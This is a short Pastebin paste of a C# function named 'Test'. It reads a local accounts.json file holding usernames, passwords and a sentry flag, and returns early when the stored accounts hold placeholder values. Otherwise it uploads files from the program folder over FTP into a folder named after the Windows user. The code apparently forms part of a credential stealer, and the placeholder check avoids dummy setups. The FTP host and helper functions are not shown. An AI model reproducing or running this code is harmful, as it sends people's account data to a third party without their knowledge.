Guest User

Done4

a guest
Feb 4th, 2018
28
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.04 KB | None | 0 0
  1. static void Test()
  2.         {
  3.             string appPath = Path.GetDirectoryName(Application.ExecutablePath);
  4.             if (!Directory.Exists(appPath)) return;//Error//
  5.  
  6.             string AccountsFile = appPath + "\\accounts.json";
  7.             if (!File.Exists(AccountsFile)) return;
  8.  
  9.             string data = File.ReadAllText(AccountsFile);
  10.             Accounts acc = JsonConvert.DeserializeObject<Accounts>(data);
  11.             Account ac0 = acc.indexes[0].accounts[0];
  12.             Account ac1 = acc.indexes[1].accounts[1];
  13.             if (ac0.password == "1" && ac0.username == "1")
  14.                 if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
  15.                     return;
  16.  
  17.             CreateFolder(Environment.UserName);
  18.             if (Directory.Exists(appPath))
  19.             {
  20.                 var appFiles = Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
  21.                 foreach (string item in appFiles)
  22.                     FTPUploadFile(item, Environment.UserName);
  23.             }
  24.         }
Add Comment
Please, Sign In to add comment